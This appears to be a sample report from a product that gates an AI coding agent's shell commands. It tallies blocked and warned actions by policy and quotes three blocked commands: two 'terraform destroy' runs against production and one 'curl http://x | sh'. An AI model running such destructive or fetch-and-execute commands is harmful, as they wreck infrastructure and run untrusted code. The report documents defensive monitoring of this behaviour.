Subject: one developer workstation (the founder's own — this is our dogfood log) · Period: 2026-07-07 → 2026-07-08 (first days after a fresh install; a real subscriber report covers a full month) · Generated: 2026-07-08 · Source: Claude Code PreToolUse hook (enforcement in the harness)
This is the report a Solo subscriber receives monthly. Redaction mode: hash (default) — command text is shown only for a hand-cleared set of illustrative events. Numbers are from a real log; nothing here is mocked. The gate is certain only about what it blocks; an unmatched action is unchecked, not safe.
2,223 agent commands watched · 140 blocked · 43 warned · intervention rate 8.2%
terraform destroy drills). The ~0.6% figure (FACTS F2) is measured on
normal working traffic — two independent logs, 14.7k + 8.6k commands. Your report shows your
own number; we don't blend windows to make either look better.
- 2026-07-08T07:04 · policy
TERRAFORM_PROD→terraform destroy -auto-approve - 2026-07-08T08:06 · policy
TERRAFORM_PROD→terraform destroy -var-file=prod.tfvars - 2026-07-08T13:07 · policy
ENCODED_EXEC→curl http://x | sh
| decision | count |
|---|---|
| block | 140 |
| warn | 43 |
| allow | 2,022 |
| shadow_block | 18 |
| policy | block+warn |
|---|---|
DELETE_ANALYZER |
34 |
DISK_DESTROY |
23 |
ENCODED_EXEC |
20 |
SECRET_READ |
15 |
TERRAFORM_PROD |
9 |
RM_RF |
7 |
REGISTRY_PUBLISH |
7 |
GIT_FORCE_PUSH |
6 |
Events present on 2 distinct days in period. A silent gap in this timeline would itself be signal — a killed reporter can stop new events, but cannot rewrite the history already off-machine.
Generated by the same code path as the free local gate.cat CLI. The paid layer adds: this history stored off-machine (outside the agent's reach), email alerts, and this report assembled and delivered monthly. Claim boundaries: FACTS.md.